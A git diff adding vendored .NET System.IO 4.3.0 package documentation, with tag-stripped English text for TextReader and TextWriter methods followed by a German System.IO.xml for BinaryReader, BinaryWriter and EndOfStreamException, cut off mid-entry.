read from. + 1 + + + Reads the next character without changing the state of the reader or the character source. Returns the next available character without actually reading it from the reader. + An integer representing the next character to be read, or -1 if no more characters are available or the reader does not support seeking. + The is closed. + An I/O error occurs. + 1 + + + Reads the next character from the text reader and advances the character position by one character. + The next character from the text reader, or -1 if no more characters are available. The default implementation returns -1. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether the data is available within the reader. This method returns 0 (zero) if it is called when no more characters are left to read. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the reader is reached before the specified number of characters is read into the buffer, the method returns. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current text reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, this parameter contains the specified character array with the values between and ( + -1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 2 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the text reader and returns the data as a string. + The next line from the reader, or null if all characters have been read. + An I/O error occurs. + There is insufficient memory to allocate a buffer for the returned string. + The is closed. + The number of characters in the next line is larger than + 1 + + + Reads a line of characters asynchronously and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the text reader, or is null if all of the characters have been read. + The number of characters in the next line is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the text reader and returns them as one string. + A string that contains all characters from the current position to the end of the text reader. + An I/O error occurs. + The is closed. + There is insufficient memory to allocate a buffer for the returned string. + The number of characters in the next line is larger than + 1 + + + Reads all characters from the current position to the end of the text reader asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the text reader. + The number of characters is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Represents a writer that can write a sequential series of characters. This class is abstract. + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format provider. + An object that controls formatting. + + + Stores the newline characters used for this TextWriter. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, returns the character encoding in which the output is written. + The character encoding in which the output is written. + 1 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The text writer is disposed. + The writer is currently in use by a previous write operation. + + + Gets an object that controls formatting. + An object for a specific culture, or the formatting of the current culture if no other culture is specified. + 2 + + + Gets or sets the line terminator string used by the current TextWriter. + The line terminator string for the current TextWriter. + 2 + + + Provides a TextWriter with no backing store that can be written to, but not read from. + 1 + + + Writes the text representation of a Boolean value to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a character array to the text string or stream. + The character array to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters to the text string or stream. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte floating-point value to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object to the text string or stream by calling the ToString method on that object. + The object to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string to the text string or stream. + The string to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero) or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + + or is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character array to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If is null, nothing is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a line terminator to the text string or stream. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a Boolean value followed by a line terminator to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character followed by a line terminator to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes an array of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The character position in at which to start reading data. + The maximum number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value followed by a line terminator to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 8-byte floating-point value followed by a line terminator to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer followed by a line terminator to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer followed by a line terminator to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object by calling the ToString method on that object, followed by a line terminator to the text string or stream. + The object to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value followed by a line terminator to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string followed by a line terminator to the text string or stream. + The string to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + A string or object is passed in as null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer followed by a line terminator to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer followed by a line terminator to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes an array of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If the character array is null, only the line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/de/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/de/System.IO.xml new file mode 100644 index 0000000..ee778b2 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/de/System.IO.xml @@ -0,0 +1,2151 @@ + + + + System.IO + + + + Liest primitive Datentypen als Binärwerte in einer spezifischen Codierung. + 2 + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung unter Verwendung von UTF-8. + Der Eingabestream. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + oder ist null. + + + Gewährt Zugriff auf den zugrunde liegenden Stream von . + Der BinaryReader zugeordnete, zugrunde liegende Stream. + 2 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Füllt den internen Puffer mit der angegebenen Anzahl von Bytes, die aus dem Stream gelesen wurden. + Die Anzahl der zu lesenden Bytes. + Das Ende des Streams ist erreicht, bevor gelesen werden konnte. + E/A-Fehler. + Die angeforderten überschreiten die interne Puffergröße. + + + Gibt das nächste verfügbare Zeichen zurück, ohne die Byte- oder Zeichenposition zu erhöhen. + Das nächste verfügbare Zeichen oder -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + Das aktuelle Zeichen kann nicht mit dem für den Stream ausgewählten in den internen Zeichenpuffer decodiert werden. + 2 + + + Liest Zeichen aus dem zugrunde liegenden Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Das nächste Zeichen aus dem Eingabestream bzw. -1, wenn derzeit keine Zeichen verfügbar sind. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Liest die angegebene Anzahl von Bytes beginnend bei einem angegebenen Punkt im Bytearray aus dem Stream. + Die Anzahl von Bytes, die in gelesen wurden.Diese kann kleiner sein als die Anzahl der angeforderten Bytes, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Bytes. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Zeichen beginnend bei einem angegebenen Punkt im Zeichenarray aus dem Stream. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 32-Bit-Ganzzahl in komprimiertem Format. + Eine 32-Bit-Ganzzahl in komprimiertem Format. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Der Datenstrom ist beschädigt. + + + Liest einen Boolean-Wert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + true, wenn das Byte ungleich 0 (null) ist, andernfalls false. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest das nächste Byte aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + Das nächste aus dem aktuellen Stream gelesene Byte. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Bytes aus dem aktuellen Stream in ein Bytearray und erhöht die aktuelle Position um diese Anzahl von Bytes. + Ein Bytearray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Bytes, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Bytes.Dieser Wert muss 0 oder eine nicht negative Zahl sein; andernfalls tritt eine Ausnahme auf. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + E/A-Fehler. + Der Stream ist geschlossen. + + ist negativ. + 2 + + + Liest das nächste Zeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein aus dem aktuellen Stream gelesenes Zeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Ein Ersatzzeichenzeichen wurde gelesen. + 2 + + + Liest die angegebene Anzahl von Zeichen aus dem aktuellen Stream, gibt die Daten in einem Zeichenarray zurück und erhöht die aktuelle Position in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein Zeichenarray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Zeichen. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + Der Stream ist geschlossen. + E/A-Fehler. + + ist negativ. + 2 + + + Liest einen Dezimalwert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 16 Bytes. + Ein aus dem aktuellen Stream gelesener Dezimalwert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 8-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Ein aus dem aktuellen Stream gelesener 8-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus dem aktuellen Stream gelesene 2-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Eine aus dem aktuellen Stream gelesene 4-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Eine aus dem aktuellen Stream gelesene 8-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest ein Byte mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Ein aus dem aktuellen Stream gelesenes Byte mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 4-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Ein aus dem aktuellen Stream gelesener 4-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine Zeichenfolge aus dem aktuellen Stream.Die Zeichenfolge weist ein Präfix mit der Länge auf, die als Ganzzahl mit jeweils 7 Bits codiert ist. + Die gelesene Zeichenfolge. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl ohne Vorzeichen mithilfe einer Little-Endian-Codierung aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus diesem Stream gelesene 2-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 4 Bytes. + Eine aus diesem Stream gelesene 4-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 8 Bytes. + Eine aus diesem Stream gelesene 8-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Schreibt primitive Typen binär in einen Stream und unterstützt das Schreiben von Zeichenfolgen in einer bestimmten Codierung. + 2 + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in einen Stream. + + + Initialisiert eine neue Instanz der auf dem spezifizierten Stream basierenden -Klasse unter Verwendung von UTF-8-Verschlüsselung. + Der Ausgabestream. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der auf den bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Ruft den zugrunde liegenden Stream von ab. + Der BinaryWriter zugeordnete, zugrunde liegende Stream. + 1 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Gibt eine -Klasse ohne Sicherungsspeicher an. + 1 + + + Enthält den zugrunde liegenden Stream. + + + Legt die Position im aktuellen Stream fest. + Die Position im aktuellen Stream. + Ein Byteoffset im Verhältnis zu . + Ein Feld von , das den Bezugspunkt angibt, von dem aus die neue Position ermittelt werden soll. + Der Dateizeiger wurde an eine ungültige Position verschoben. + Der -Wert ist ungültig. + 1 + + + Schreibt einen 1-Byte-Boolean-Wert in den aktuellen Stream, wobei 0 (null) false und 1 true darstellt. + Der zu schreibende Boolean-Wert (0 (null) oder 1). + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte ohne Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Bytearray in den zugrunde liegenden Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + E/A-Fehler. + Der Stream ist geschlossen. + + ist null. + 1 + + + Schreibt einen Bereich eines Bytearrays in den aktuellen Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Bytes. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Unicode-Zeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Das zu schreibende Unicode-Zeichen (nicht-Ersatzzeichen). + E/A-Fehler. + Der Stream ist geschlossen. + + ist ein einzelnes Ersatzzeichen. + 1 + + + Schreibt ein Zeichenarray in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + + ist null. + Der Stream ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt einen Bereich eines Zeichenarrays in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und ggf. der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen Dezimalwert in den aktuellen Stream und erhöht die Position im Stream um 16 Bytes. + Der zu schreibende Dezimalwert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 8-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Der zu schreibende 8-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte mit Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 4-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Der zu schreibende 4-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine Zeichenfolge mit Längenpräfix in der aktuellen Codierung von in diesen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Codierung und der in den Stream geschriebenen Zeichen. + Der zu schreibende Wert. + E/A-Fehler. + + ist null. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 32-Bit-Ganzzahl in einem komprimierten Format. + Die zu schreibende 32-Bit-Ganzzahl. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + Der Stream ist geschlossen. + + + Die Ausnahme, die ausgelöst wird, wenn hinter dem Ende eines Streams ein Leseversuch erfolgt. + 2 + + + Initialisiert eine neue Instanz der -Klasse, bei der die Meldungszeichenfolge auf eine vom System gelieferte Meldung und HRESULT auf COR_E_ENDOFSTREAM festgelegt ist. + + + Initialisiert eine neue Instanz der -Klasse, bei der die Nachrichtenzeichenfolge auf und HRESULT auf COR_E_ENDOFSTREAM festgelegt wurde. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung und einem Verweis auf die innere Ausnahme, die diese Ausnahme ausgelöst hat. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Die Ausnahme, die ausgelöst wird, wenn ein 